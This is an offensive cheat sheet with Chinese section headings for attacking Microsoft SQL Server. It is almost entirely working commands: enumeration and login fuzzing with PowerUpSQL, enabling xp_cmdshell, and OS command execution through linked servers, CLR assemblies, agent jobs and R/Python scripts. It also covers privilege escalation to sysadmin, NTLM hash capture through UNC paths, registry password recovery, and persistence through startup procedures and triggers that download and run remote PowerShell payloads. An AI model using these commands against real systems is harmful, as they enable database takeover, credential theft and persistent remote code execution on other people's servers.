数据库枚举的基本 SQL Server 查询
#View all db in an instance
Get-SQLQuery -Instance <instance> -Query "SELECT name FROM sys.databases"
#View all tables
Get-SQLQuery -Instance <instance> -Query "SELECT * FROM Employees.INFORMATION_SCHEMA.TABLES"
#View all cols in all tables in a db
Get-SQLQuery -Instance <instance> -Query "SELECT * FROM Employees.INFORMATION_SCHEMA.columns"
#View data in table
Get-SQLQuery -Instance <instance> -Query "USE Employees;SELECT * FROM ITEmployees"
枚举 SPN / 查找 MSSQL 服务器
#TCP/UDP port scan
Get-SQLInstanceScanUDP
#DB in the domain
Get-SQLInstanceDomain
#Local DB
Get-SQLInstanceLocal
收集信息
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
检查访问
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Username sa -Password Password -Verbose
枚举数据库用户
Get-SQLFuzzServerLogin -Instance <instance> -Verbose
检查模拟权
Invoke-SQLAudit -Verbose -Instance instance.domain.local
枚举 SQL Server 链接
Get-SQLServerLink -Instance <instance> -Verbose
#Or
select * from master..sysservers
枚举数据库链接
Get-SQLServerLinkCrawl -Instance <instance> -Verbose
#Or
select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')
枚举域用户
Get-SQLFuzzDomainAccount -Instance <instance.domain.local> -StartId 500 -EndId 2000 -Verbose
命令执行xp_cmdshell
EXECUTE('sp_configure ''Show Advanced Options'',1;reconfigure;') AT "<instance>" EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "<instance>"
通过 DB 链接执行的命令:
Get-SQLServerLinkCrawl -Instance <instance> -Query "exec master..xp_cmdshell 'whoami'"
Get-SQLServerLinkCrawl -Instance <instance> -Query 'exec master..xp_cmdshell "powershell -c iex (new-object net.webclient).downloadstring(''http://172.16.100.168:8080/Invoke-HelloWorld.ps1'')"'
#Or
select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from openquery("<instance3>.domain.local",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')
使用 PowerUpSQL:
Invoke-SQLOSCmd -Username sa -Password <password> -Instance <instance> -Command whoami
扩展存储过程
Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc
Get-SQLQuery -UserName sa -Password <password> -Instance <instance> -Query "sp_addextendedproc 'xp_calc', '\\192.168.15.2\fileserver\xp_calc.dll'"
Get-SQLQuery -UserName sa -Password <password> -Instance <instance> -Query "EXEC xp_calc"
列出现有的扩展过程
Get-SQLStoredProcedureXP -Instance <instance> -Verbose
CLR 程序集
use msdb
GO
-- Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO
-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO
-- Import the assembly
CREATE ASSEMBLY my_assembly
FROM '\\192.168.15.2\fileserver\cmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
GO
-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];
GO
cmd_exec 'whoami'
-- Cleanup
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly
使用 PowerUpSQL
#Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop
#Execute command using CLR assembly
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose
#List all the stored procedures added using CLR
Get-SQLStoredProcedureCLR -Instance <instance> -Verbose
Ole 自动化程序
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose
代理工作
-- PowerShell
USE msdb
EXEC dbo.sp_add_job @job_name = N'PSJob'
EXEC sp_add_jobstep @job_name = N'PSJob', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -noexit ps', @retry_attempts = 1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'PSJob'
EXEC dbo.sp_start_job N'PSJob'
-- EXEC dbo.sp_delete_job @job_name = N'PSJob'
-- CmdExec
USE msdb
EXEC dbo.sp_add_job @job_name = N'cmdjob'
EXEC sp_add_jobstep @job_name = N'cmdjob', @step_name = N'test_cmd_name1', @subsystem = N'cmdexec', @command = N'cmd.exe /k calc', @retry_attempts = 1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'cmdjob'
EXEC dbo.sp_start_job N'cmdjob';
-- EXEC dbo.sp_delete_job @job_name = N'cmdJob'
使用 PowerUpSQL
Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose -Subsystem CmdExec -Subsystem VBScript -Subsystem Jscript
其他脚本:
R
sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
-- Grab Net-NTLM hash
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'
-- Or
@script=N'OutputDataSet <-data.frame(shell("dir",intern=T))'
Python
EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))
PowerUpSQL
#R
Invoke-SQLOSCmdR -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose
#Python
Invoke-SQLOSCmdPython -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose
权限提升
对系统管理员公开 - 模拟
可以通过User Impersonation来实现Execute AS
检查模拟权
Invoke-SQLAuditPrivImpersonateLogin -Username <username> -Password <password> -Instance <instance> -Verbose
模拟用户
Invoke-SQLAuditPrivImpersonateLogin -Instance <instance> -Exploit -Verbose
对系统管理员公开 - 值得信赖的数据库
寻找值得信赖的
SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY
from sys.databases
PowerUpSQL
Invoke-SQLAudit -Instance <instance.domain.local> -Verbose | Out-GridView
Invoke-SQLAuditPrivTrustworthy -Instance <instance> -Verbose
寻找 db_owner 角色
use <database>
SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName
FROM sys.database_role_members AS DRM
RIGHT OUTER JOIN sys.database_principals AS DP1
ON DRM.role_principal_id = DP1.principal_id
LEFT OUTER JOIN sys.database_principals AS DP2
ON DRM.member_principal_id = DP2.principal_id
WHERE DP1.type = 'R'
ORDER BY DP1.name;
执行为:
EXECUTE AS USER = 'dbo'
SELECT system_user
EXEC sp_addsrvrolemember 'domain\user','sysadmin'
公共服务帐户
UNC 路径注入
Invoke-SQLUncPathInjection -Verbose -CaptureIp 192.168.15.2
服务帐户到 SYSTEM
持久性 - 启动存储过程
每次重新启动 SQL 服务时重新启动的过程
-- Create a stored procedure
USE master
GO
CREATE PROCEDURE sp_autops
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO
-- Mark the stored procedure for automatic executio
EXEC sp_procoption @ProcName = 'sp_autops', @OptionName = 'startup', @OptionValue = 'on';
-- Now, whenever the SQL Server service is restarted, the sp_autops stored procedure will be executed thereby executing our PowerShell payload
-- List stored procedures marked for automatic execution:
SELECT [name] FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;
触发器
DDL 触发器
CREATE Trigger [persistence_ddl_1]
ON ALL Server -- or DATABASE
FOR DDL_LOGIN_EVENTS -- See the docs below for events and event groups
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO
DML 触发器
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO
登录触发器
CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
END;
登记处
将xp_regread(作为系统管理员)与 PowerUpSQL 一起使用。以下命令从注册表读取自动登录密码。
Get-SQLRecoverPwAutoLogon -Username sa -Password <password> -Instance <instance> -Verbose
https://hideandsec.sh/books/cheatsheets-82c/page/mssql#bkmrk-enumerate-sql-server